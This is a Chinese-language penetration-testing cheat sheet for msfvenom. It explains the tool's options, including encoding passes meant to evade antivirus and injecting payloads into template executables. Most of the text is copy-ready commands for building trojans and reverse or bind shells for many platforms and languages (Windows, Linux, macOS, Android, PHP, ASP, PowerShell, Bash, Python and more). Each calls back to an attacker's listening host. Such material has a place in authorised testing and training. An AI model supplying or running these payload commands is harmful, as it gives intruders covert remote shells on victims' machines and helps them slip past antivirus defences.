msfvenom:属于是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线常用于生成木马,在目标机器上执行,在本地机器kali中上线,与反弹Shell类似。 MSFVenom可以生成两种类型的攻击载荷:
1、Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为
2、Shellcode:Shellcode是Payload中的,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell
Msfvenom用法:
- 查看Msfvenom自带的帮助说明:
一些参数介绍:
-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式
-e, --encoder 指定需要使用的编码
-a, --arch 指定payload的目标架构 x64 x86
-–platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations 指定payload的编码次数,绕杀毒
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out 将payload保存到指定的文件路径
-v, --var-name 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
MSFVenom支持生成以下格式的可执行文件:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, vba, vba-exe, vba-psh, vbs, war, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd
不同环境下的生成方式:
以下都是生成反弹shell的方式,正向连接用 'bind_tcp' 等
nc:
# nc正向
msfvenom -p windows/shell_hidden_bind_tcp LHOST=<IP> LPORT=<PORT> -f exe> shell.exe
# nc反向
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe> shell.exe
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
Linux:
# x86 自己根据情况调整
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e -f elf -a x86 --platform linux -o shell
mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho
指定生成 .c 的shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b "\x00\x0a\x0d" -a x86 --platform win -f c
反弹Python Shell:
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > myshell.py
反弹ASP Shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
or
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp -a x86 --platform win -o shell.asp
反弹PHP Shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > myshell.php
反弹Bash Shell:
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -o shell.sh
Java:
msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=<IP> LPORT=<PORT> -f jar > java_meterpreter_reverse_tcp.jar
Android:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> R > shell.apk
PowerShell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh-reflection >5555.ps1
nodjs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.js
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl
Ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.rb
参考:offsec的介绍